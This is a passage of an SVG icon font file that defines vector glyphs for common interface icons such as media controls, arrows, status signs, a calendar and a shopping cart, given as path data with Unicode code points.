d="M1408 606v-318q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-10 -10 -23 -10q-3 0 -9 2q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832
q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v254q0 13 9 22l64 64q10 10 23 10q6 0 12 -3q20 -8 20 -29zM1639 1095l-814 -814q-24 -24 -57 -24t-57 24l-430 430q-24 24 -24 57t24 57l110 110q24 24 57 24t57 -24l263 -263l647 647q24 24 57 24t57 -24l110 -110
q24 -24 24 -57t-24 -57z" />
    <glyph glyph-name="move" unicode="&#xf047;" horiz-adv-x="1792" 
d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-384v-384h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v384h-384v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45
t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h384v384h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45t-19 -45t-45 -19h-128v-384h384v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
    <glyph glyph-name="step_backward" unicode="&#xf048;" horiz-adv-x="1024" 
d="M979 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 10 13 19z" />
    <glyph glyph-name="fast_backward" unicode="&#xf049;" horiz-adv-x="1792" 
d="M1747 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 10 13 19l710 710
q19 19 32 13t13 -32v-710q4 10 13 19z" />
    <glyph glyph-name="backward" unicode="&#xf04a;" horiz-adv-x="1664" 
d="M1619 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-19 19 -19 45t19 45l710 710q19 19 32 13t13 -32v-710q4 10 13 19z" />
    <glyph glyph-name="play" unicode="&#xf04b;" horiz-adv-x="1408" 
d="M1384 609l-1328 -738q-23 -13 -39.5 -3t-16.5 36v1472q0 26 16.5 36t39.5 -3l1328 -738q23 -13 23 -31t-23 -31z" />
    <glyph glyph-name="pause" unicode="&#xf04c;" 
d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45zM640 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45z" />
    <glyph glyph-name="stop" unicode="&#xf04d;" 
d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
    <glyph glyph-name="forward" unicode="&#xf04e;" horiz-adv-x="1664" 
d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v710q0 26 13 32t32 -13l710 -710q19 -19 19 -45t-19 -45l-710 -710q-19 -19 -32 -13t-13 32v710q-4 -10 -13 -19z" />
    <glyph glyph-name="fast_forward" unicode="&#xf050;" horiz-adv-x="1792" 
d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v710q0 26 13 32t32 -13l710 -710q9 -9 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-4 -10 -13 -19l-710 -710
q-19 -19 -32 -13t-13 32v710q-4 -10 -13 -19z" />
    <glyph glyph-name="step_forward" unicode="&#xf051;" horiz-adv-x="1024" 
d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-4 -10 -13 -19z" />
    <glyph glyph-name="eject" unicode="&#xf052;" horiz-adv-x="1538" 
d="M14 557l710 710q19 19 45 19t45 -19l710 -710q19 -19 13 -32t-32 -13h-1472q-26 0 -32 13t13 32zM1473 0h-1408q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1408q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19z" />
    <glyph glyph-name="chevron_left" unicode="&#xf053;" horiz-adv-x="1280" 
d="M1171 1235l-531 -531l531 -531q19 -19 19 -45t-19 -45l-166 -166q-19 -19 -45 -19t-45 19l-742 742q-19 19 -19 45t19 45l742 742q19 19 45 19t45 -19l166 -166q19 -19 19 -45t-19 -45z" />
    <glyph glyph-name="chevron_right" unicode="&#xf054;" horiz-adv-x="1280" 
d="M1107 659l-742 -742q-19 -19 -45 -19t-45 19l-166 166q-19 19 -19 45t19 45l531 531l-531 531q-19 19 -19 45t19 45l166 166q19 19 45 19t45 -19l742 -742q19 -19 19 -45t-19 -45z" />
    <glyph glyph-name="plus_sign" unicode="&#xf055;" 
d="M1216 576v128q0 26 -19 45t-45 19h-256v256q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-256h-256q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h256v-256q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v256h256q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5
t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="minus_sign" unicode="&#xf056;" 
d="M1216 576v128q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
t103 -385.5z" />
    <glyph glyph-name="remove_sign" unicode="&#xf057;" 
d="M1149 414q0 26 -19 45l-181 181l181 181q19 19 19 45q0 27 -19 46l-90 90q-19 19 -46 19q-26 0 -45 -19l-181 -181l-181 181q-19 19 -45 19q-27 0 -46 -19l-90 -90q-19 -19 -19 -46q0 -26 19 -45l181 -181l-181 -181q-19 -19 -19 -45q0 -27 19 -46l90 -90q19 -19 46 -19
q26 0 45 19l181 181l181 -181q19 -19 45 -19q27 0 46 19l90 90q19 19 19 46zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ok_sign" unicode="&#xf058;" 
d="M1284 802q0 28 -18 46l-91 90q-19 19 -45 19t-45 -19l-408 -407l-226 226q-19 19 -45 19t-45 -19l-91 -90q-18 -18 -18 -46q0 -27 18 -45l362 -362q19 -19 45 -19q27 0 46 19l543 543q18 18 18 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="question_sign" unicode="&#xf059;" 
d="M896 160v192q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h192q14 0 23 9t9 23zM1152 832q0 88 -55.5 163t-138.5 116t-170 41q-243 0 -371 -213q-15 -24 8 -42l132 -100q7 -6 19 -6q16 0 25 12q53 68 86 92q34 24 86 24q48 0 85.5 -26t37.5 -59
q0 -38 -20 -61t-68 -45q-63 -28 -115.5 -86.5t-52.5 -125.5v-36q0 -14 9 -23t23 -9h192q14 0 23 9t9 23q0 19 21.5 49.5t54.5 49.5q32 18 49 28.5t46 35t44.5 48t28 60.5t12.5 81zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="info_sign" unicode="&#xf05a;" 
d="M1024 160v160q0 14 -9 23t-23 9h-96v512q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h96v-320h-96q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h448q14 0 23 9t9 23zM896 1056v160q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23
t23 -9h192q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="screenshot" unicode="&#xf05b;" 
d="M1197 512h-109q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h109q-32 108 -112.5 188.5t-188.5 112.5v-109q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v109q-108 -32 -188.5 -112.5t-112.5 -188.5h109q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-109
q32 -108 112.5 -188.5t188.5 -112.5v109q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-109q108 32 188.5 112.5t112.5 188.5zM1536 704v-128q0 -26 -19 -45t-45 -19h-143q-37 -161 -154.5 -278.5t-278.5 -154.5v-143q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v143
q-161 37 -278.5 154.5t-154.5 278.5h-143q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h143q37 161 154.5 278.5t278.5 154.5v143q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-143q161 -37 278.5 -154.5t154.5 -278.5h143q26 0 45 -19t19 -45z" />
    <glyph glyph-name="remove_circle" unicode="&#xf05c;" 
d="M1097 457l-146 -146q-10 -10 -23 -10t-23 10l-137 137l-137 -137q-10 -10 -23 -10t-23 10l-146 146q-10 10 -10 23t10 23l137 137l-137 137q-10 10 -10 23t10 23l146 146q10 10 23 10t23 -10l137 -137l137 137q10 10 23 10t23 -10l146 -146q10 -10 10 -23t-10 -23
l-137 -137l137 -137q10 -10 10 -23t-10 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5
t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ok_circle" unicode="&#xf05d;" 
d="M1171 723l-422 -422q-19 -19 -45 -19t-45 19l-294 294q-19 19 -19 45t19 45l102 102q19 19 45 19t45 -19l147 -147l275 275q19 19 45 19t45 -19l102 -102q19 -19 19 -45t-19 -45zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198
t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ban_circle" unicode="&#xf05e;" 
d="M1312 643q0 161 -87 295l-754 -753q137 -89 297 -89q111 0 211.5 43.5t173.5 116.5t116 174.5t43 212.5zM313 344l755 754q-135 91 -300 91q-148 0 -273 -73t-198 -199t-73 -274q0 -162 89 -299zM1536 643q0 -157 -61 -300t-163.5 -246t-245 -164t-298.5 -61t-298.5 61
t-245 164t-163.5 246t-61 300t61 299.5t163.5 245.5t245 164t298.5 61t298.5 -61t245 -164t163.5 -245.5t61 -299.5z" />
    <glyph glyph-name="arrow_left" unicode="&#xf060;" 
d="M1536 640v-128q0 -53 -32.5 -90.5t-84.5 -37.5h-704l293 -294q38 -36 38 -90t-38 -90l-75 -76q-37 -37 -90 -37q-52 0 -91 37l-651 652q-37 37 -37 90q0 52 37 91l651 650q38 38 91 38q52 0 90 -38l75 -74q38 -38 38 -91t-38 -91l-293 -293h704q52 0 84.5 -37.5
t32.5 -90.5z" />
    <glyph glyph-name="arrow_right" unicode="&#xf061;" 
d="M1472 576q0 -54 -37 -91l-651 -651q-39 -37 -91 -37q-51 0 -90 37l-75 75q-38 38 -38 91t38 91l293 293h-704q-52 0 -84.5 37.5t-32.5 90.5v128q0 53 32.5 90.5t84.5 37.5h704l-293 294q-38 36 -38 90t38 90l75 75q38 38 90 38q53 0 91 -38l651 -651q37 -35 37 -90z" />
    <glyph glyph-name="arrow_up" unicode="&#xf062;" horiz-adv-x="1664" 
d="M1611 565q0 -51 -37 -90l-75 -75q-38 -38 -91 -38q-54 0 -90 38l-294 293v-704q0 -52 -37.5 -84.5t-90.5 -32.5h-128q-53 0 -90.5 32.5t-37.5 84.5v704l-294 -293q-36 -38 -90 -38t-90 38l-75 75q-38 38 -38 90q0 53 38 91l651 651q35 37 90 37q54 0 91 -37l651 -651
q37 -39 37 -91z" />
    <glyph glyph-name="arrow_down" unicode="&#xf063;" horiz-adv-x="1664" 
d="M1611 704q0 -53 -37 -90l-651 -652q-39 -37 -91 -37q-53 0 -90 37l-651 652q-38 36 -38 90q0 53 38 91l74 75q39 37 91 37q53 0 90 -37l294 -294v704q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-704l294 294q37 37 90 37q52 0 91 -37l75 -75q37 -39 37 -91z" />
    <glyph glyph-name="share_alt" unicode="&#xf064;" horiz-adv-x="1792" 
d="M1792 896q0 -26 -19 -45l-512 -512q-19 -19 -45 -19t-45 19t-19 45v256h-224q-98 0 -175.5 -6t-154 -21.5t-133 -42.5t-105.5 -69.5t-80 -101t-48.5 -138.5t-17.5 -181q0 -55 5 -123q0 -6 2.5 -23.5t2.5 -26.5q0 -15 -8.5 -25t-23.5 -10q-16 0 -28 17q-7 9 -13 22
t-13.5 30t-10.5 24q-127 285 -127 451q0 199 53 333q162 403 875 403h224v256q0 26 19 45t45 19t45 -19l512 -512q19 -19 19 -45z" />
    <glyph glyph-name="resize_full" unicode="&#xf065;" 
d="M755 480q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23zM1536 1344v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332
q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45z" />
    <glyph glyph-name="resize_small" unicode="&#xf066;" 
d="M768 576v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45zM1523 1248q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45
t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23z" />
    <glyph glyph-name="plus" unicode="&#xf067;" horiz-adv-x="1408" 
d="M1408 800v-192q0 -40 -28 -68t-68 -28h-416v-416q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v416h-416q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h416v416q0 40 28 68t68 28h192q40 0 68 -28t28 -68v-416h416q40 0 68 -28t28 -68z" />
    <glyph glyph-name="minus" unicode="&#xf068;" horiz-adv-x="1408" 
d="M1408 800v-192q0 -40 -28 -68t-68 -28h-1216q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h1216q40 0 68 -28t28 -68z" />
    <glyph glyph-name="asterisk" unicode="&#xf069;" horiz-adv-x="1664" 
d="M1482 486q46 -26 59.5 -77.5t-12.5 -97.5l-64 -110q-26 -46 -77.5 -59.5t-97.5 12.5l-266 153v-307q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v307l-266 -153q-46 -26 -97.5 -12.5t-77.5 59.5l-64 110q-26 46 -12.5 97.5t59.5 77.5l266 154l-266 154
q-46 26 -59.5 77.5t12.5 97.5l64 110q26 46 77.5 59.5t97.5 -12.5l266 -153v307q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-307l266 153q46 26 97.5 12.5t77.5 -59.5l64 -110q26 -46 12.5 -97.5t-59.5 -77.5l-266 -154z" />
    <glyph glyph-name="exclamation_sign" unicode="&#xf06a;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM896 161v190q0 14 -9 23.5t-22 9.5h-192q-13 0 -23 -10t-10 -23v-190q0 -13 10 -23t23 -10h192
q13 0 22 9.5t9 23.5zM894 505l18 621q0 12 -10 18q-10 8 -24 8h-220q-14 0 -24 -8q-10 -6 -10 -18l17 -621q0 -10 10 -17.5t24 -7.5h185q14 0 23.5 7.5t10.5 17.5z" />
    <glyph glyph-name="gift" unicode="&#xf06b;" 
d="M928 180v56v468v192h-320v-192v-468v-56q0 -25 18 -38.5t46 -13.5h192q28 0 46 13.5t18 38.5zM472 1024h195l-126 161q-26 31 -69 31q-40 0 -68 -28t-28 -68t28 -68t68 -28zM1160 1120q0 40 -28 68t-68 28q-43 0 -69 -31l-125 -161h194q40 0 68 28t28 68zM1536 864v-320
q0 -14 -9 -23t-23 -9h-96v-416q0 -40 -28 -68t-68 -28h-1088q-40 0 -68 28t-28 68v416h-96q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h440q-93 0 -158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5q107 0 168 -77l128 -165l128 165q61 77 168 77q93 0 158.5 -65.5t65.5 -158.5
t-65.5 -158.5t-158.5 -65.5h440q14 0 23 -9t9 -23z" />
    <glyph glyph-name="leaf" unicode="&#xf06c;" horiz-adv-x="1792" 
d="M1280 832q0 26 -19 45t-45 19q-172 0 -318 -49.5t-259.5 -134t-235.5 -219.5q-19 -21 -19 -45q0 -26 19 -45t45 -19q24 0 45 19q27 24 74 71t67 66q137 124 268.5 176t313.5 52q26 0 45 19t19 45zM1792 1030q0 -95 -20 -193q-46 -224 -184.5 -383t-357.5 -268
q-214 -108 -438 -108q-148 0 -286 47q-15 5 -88 42t-96 37q-16 0 -39.5 -32t-45 -70t-52.5 -70t-60 -32q-43 0 -63.5 17.5t-45.5 59.5q-2 4 -6 11t-5.5 10t-3 9.5t-1.5 13.5q0 35 31 73.5t68 65.5t68 56t31 48q0 4 -14 38t-16 44q-9 51 -9 104q0 115 43.5 220t119 184.5
t170.5 139t204 95.5q55 18 145 25.5t179.5 9t178.5 6t163.5 24t113.5 56.5l29.5 29.5t29.5 28t27 20t36.5 16t43.5 4.5q39 0 70.5 -46t47.5 -112t24 -124t8 -96z" />
    <glyph glyph-name="fire" unicode="&#xf06d;" horiz-adv-x="1408" 
d="M1408 -160v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1152 896q0 -78 -24.5 -144t-64 -112.5t-87.5 -88t-96 -77.5t-87.5 -72t-64 -81.5t-24.5 -96.5q0 -96 67 -224l-4 1l1 -1
q-90 41 -160 83t-138.5 100t-113.5 122.5t-72.5 150.5t-27.5 184q0 78 24.5 144t64 112.5t87.5 88t96 77.5t87.5 72t64 81.5t24.5 96.5q0 94 -66 224l3 -1l-1 1q90 -41 160 -83t138.5 -100t113.5 -122.5t72.5 -150.5t27.5 -184z" />
    <glyph glyph-name="eye_open" unicode="&#xf06e;" horiz-adv-x="1792" 
d="M1664 576q-152 236 -381 353q61 -104 61 -225q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 121 61 225q-229 -117 -381 -353q133 -205 333.5 -326.5t434.5 -121.5t434.5 121.5t333.5 326.5zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5
t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1792 576q0 -34 -20 -69q-140 -230 -376.5 -368.5t-499.5 -138.5t-499.5 139t-376.5 368q-20 35 -20 69t20 69q140 229 376.5 368t499.5 139t499.5 -139t376.5 -368q20 -35 20 -69z" />
    <glyph glyph-name="eye_close" unicode="&#xf070;" horiz-adv-x="1792" 
d="M555 201l78 141q-87 63 -136 159t-49 203q0 121 61 225q-229 -117 -381 -353q167 -258 427 -375zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1307 1151q0 -7 -1 -9
q-106 -189 -316 -567t-315 -566l-49 -89q-10 -16 -28 -16q-12 0 -134 70q-16 10 -16 28q0 12 44 87q-143 65 -263.5 173t-208.5 245q-20 31 -20 69t20 69q153 235 380 371t496 136q89 0 180 -17l54 97q10 16 28 16q5 0 18 -6t31 -15.5t33 -18.5t31.5 -18.5t19.5 -11.5
q16 -10 16 -27zM1344 704q0 -139 -79 -253.5t-209 -164.5l280 502q8 -45 8 -84zM1792 576q0 -35 -20 -69q-39 -64 -109 -145q-150 -172 -347.5 -267t-419.5 -95l74 132q212 18 392.5 137t301.5 307q-115 179 -282 294l63 112q95 -64 182.5 -153t144.5 -184q20 -34 20 -69z
" />
    <glyph glyph-name="warning_sign" unicode="&#xf071;" horiz-adv-x="1792" 
d="M1024 161v190q0 14 -9.5 23.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -23.5v-190q0 -14 9.5 -23.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 23.5zM1022 535l18 459q0 12 -10 19q-13 11 -24 11h-220q-11 0 -24 -11q-10 -7 -10 -21l17 -457q0 -10 10 -16.5t24 -6.5h185
q14 0 23.5 6.5t10.5 16.5zM1008 1469l768 -1408q35 -63 -2 -126q-17 -29 -46.5 -46t-63.5 -17h-1536q-34 0 -63.5 17t-46.5 46q-37 63 -2 126l768 1408q17 31 47 49t65 18t65 -18t47 -49z" />
    <glyph glyph-name="plane" unicode="&#xf072;" horiz-adv-x="1408" 
d="M1376 1376q44 -52 12 -148t-108 -172l-161 -161l160 -696q5 -19 -12 -33l-128 -96q-7 -6 -19 -6q-4 0 -7 1q-15 3 -21 16l-279 508l-259 -259l53 -194q5 -17 -8 -31l-96 -96q-9 -9 -23 -9h-2q-15 2 -24 13l-189 252l-252 189q-11 7 -13 23q-1 13 9 25l96 97q9 9 23 9
q6 0 8 -1l194 -53l259 259l-508 279q-14 8 -17 24q-2 16 9 27l128 128q14 13 30 8l665 -159l160 160q76 76 172 108t148 -12z" />
    <glyph glyph-name="calendar" unicode="&#xf073;" horiz-adv-x="1664" 
d="M128 -128h288v288h-288v-288zM480 -128h320v288h-320v-288zM128 224h288v320h-288v-320zM480 224h320v320h-320v-320zM128 608h288v288h-288v-288zM864 -128h320v288h-320v-288zM480 608h320v288h-320v-288zM1248 -128h288v288h-288v-288zM864 224h320v320h-320v-320z
M512 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1248 224h288v320h-288v-320zM864 608h320v288h-320v-288zM1248 608h288v288h-288v-288zM1280 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64
q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47
h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="random" unicode="&#xf074;" horiz-adv-x="1792" 
d="M666 1055q-60 -92 -137 -273q-22 45 -37 72.5t-40.5 63.5t-51 56.5t-63 35t-81.5 14.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q250 0 410 -225zM1792 256q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192q-32 0 -85 -0.5t-81 -1t-73 1
t-71 5t-64 10.5t-63 18.5t-58 28.5t-59 40t-55 53.5t-56 69.5q59 93 136 273q22 -45 37 -72.5t40.5 -63.5t51 -56.5t63 -35t81.5 -14.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1792 1152q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5
v192h-256q-48 0 -87 -15t-69 -45t-51 -61.5t-45 -77.5q-32 -62 -78 -171q-29 -66 -49.5 -111t-54 -105t-64 -100t-74 -83t-90 -68.5t-106.5 -42t-128 -16.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q48 0 87 15t69 45t51 61.5t45 77.5q32 62 78 171q29 66 49.5 111
t54 105t64 100t74 83t90 68.5t106.5 42t128 16.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
    <glyph glyph-name="comment" unicode="&#xf075;" horiz-adv-x="1792" 
d="M1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22q-17 -2 -30.5 9t-17.5 29v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281
q0 130 71 248.5t191 204.5t286 136.5t348 50.5q244 0 450 -85.5t326 -233t120 -321.5z" />
    <glyph glyph-name="magnet" unicode="&#xf076;" 
d="M1536 704v-128q0 -201 -98.5 -362t-274 -251.5t-395.5 -90.5t-395.5 90.5t-274 251.5t-98.5 362v128q0 26 19 45t45 19h384q26 0 45 -19t19 -45v-128q0 -52 23.5 -90t53.5 -57t71 -30t64 -13t44 -2t44 2t64 13t71 30t53.5 57t23.5 90v128q0 26 19 45t45 19h384
q26 0 45 -19t19 -45zM512 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45zM1536 1344v-384q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h384q26 0 45 -19t19 -45z" />
    <glyph glyph-name="chevron_up" unicode="&#xf077;" horiz-adv-x="1792" 
d="M1683 205l-166 -165q-19 -19 -45 -19t-45 19l-531 531l-531 -531q-19 -19 -45 -19t-45 19l-166 165q-19 19 -19 45.5t19 45.5l742 741q19 19 45 19t45 -19l742 -741q19 -19 19 -45.5t-19 -45.5z" />
    <glyph glyph-name="chevron_down" unicode="&#xf078;" horiz-adv-x="1792" 
d="M1683 728l-742 -741q-19 -19 -45 -19t-45 19l-742 741q-19 19 -19 45.5t19 45.5l166 165q19 19 45 19t45 -19l531 -531l531 531q19 19 45 19t45 -19l166 -165q19 -19 19 -45.5t-19 -45.5z" />
    <glyph glyph-name="retweet" unicode="&#xf079;" horiz-adv-x="1920" 
d="M1280 32q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-8 0 -13.5 2t-9 7t-5.5 8t-3 11.5t-1 11.5v13v11v160v416h-192q-26 0 -45 19t-19 45q0 24 15 41l320 384q19 22 49 22t49 -22l320 -384q15 -17 15 -41q0 -26 -19 -45t-45 -19h-192v-384h576q16 0 25 -11l160 -192q7 -10 7 -21
zM1920 448q0 -24 -15 -41l-320 -384q-20 -23 -49 -23t-49 23l-320 384q-15 17 -15 41q0 26 19 45t45 19h192v384h-576q-16 0 -25 12l-160 192q-7 9 -7 20q0 13 9.5 22.5t22.5 9.5h960q8 0 13.5 -2t9 -7t5.5 -8t3 -11.5t1 -11.5v-13v-11v-160v-416h192q26 0 45 -19t19 -45z
" />
    <glyph glyph-name="shopping_cart" unicode="&#xf07a;" horiz-adv-x="1664" 
d="M640 0q0 -52 -38 -90t-90 -38t-90 38t-38 90t38 90t90 38t90 -38t38 -90zM1536 0q0 -52 -38 -90t-90 -38t-90 38t-38 90t38 90t90 38t90 -38t38 -90zM1664 1088v-512q0 -24 -16.5 -42.5t-40.5 -21.5l-1044 -122q13 -60 13 -70q0 -16 -24 -64h920q26 0 45 -19t19 -45
t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 11 8 31.5t16 36t21.5 40t15.5 29.5l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t19.5 -15.5t13 -24.5t8 -26t5.5 -29.5t4.5 -26h1201q26 0 45 -19t19 -45z" />
